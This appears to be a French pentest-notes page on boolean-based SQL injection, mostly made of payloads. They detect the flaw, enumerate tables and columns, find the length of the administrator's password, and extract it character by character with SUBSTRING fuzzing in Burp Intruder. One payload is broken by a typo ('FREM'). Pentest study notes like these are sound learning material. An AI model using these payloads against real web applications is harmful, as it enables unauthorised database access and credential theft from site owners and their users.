> For the complete documentation index, see [llms.txt](https://blog.s1rn3tz.ovh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.s1rn3tz.ovh/pentest-web/injections/sqli/boolean-based-error-based.md).

# Boolean based / Error Based

## Détection

Afin de détecter une boolean based SQLi, on va d'abord tenter d'envoyer un payload générique type `' or 1=1--` puis vérifier si il y a une différence entre la réponse de la requête avec le payload et sans. Si un élément a changé, alors il y a possiblement une injection.

```sql
'%20or'1'=='1
' or 1=1--
```

## Enumération des tables

```sql
' UNION SELECT 'a' FROM <FUZZtables> WHERE 1=1--

true pour table users
```

## Enumeration des colonnes

```sql
' UNION SELECT 'a' FROM users WHERE <FUZZcolonnes>='administrator'--

true pour colonne username
```

## Determiner le nombre de caractères dans le mot de passe d'un utilisateur

```sql
' AND (SELECT username FREM users WHERE username='administrator' AND LENGTH(password)=<FUZZ>)='administrator'--
```

## Exploitation avec SUBSTR /  SUBSTRING

```sql
' and (select substring(password,<LENGTH_FUZZ>,1) from users where username='administrator')='<LETTER_FUZZ>'--
```

{% hint style="info" %}
Avec Burp Suite, aller dans intruder, sélectionner les zones \<LENGTH\_FUZZ> et \<LETTER\_FUZZ> puis utiliser l'attaque Cluster Bomb.

Payload 1: numéros de 1 à la taille découverte plus tôt

Payload 2: bruteforce

Dans les paramètres, utiliser Grep-Match pour matcher la zone qui change en fonction du true ou false afin de pouvoir filtrer plus facilemen le résultat final.
{% endhint %}

<figure><img src="/files/heiiGoN0FWD0a3ADuIKM" alt=""><figcaption><p>Exemple de résulta</p></figcaption></figure>
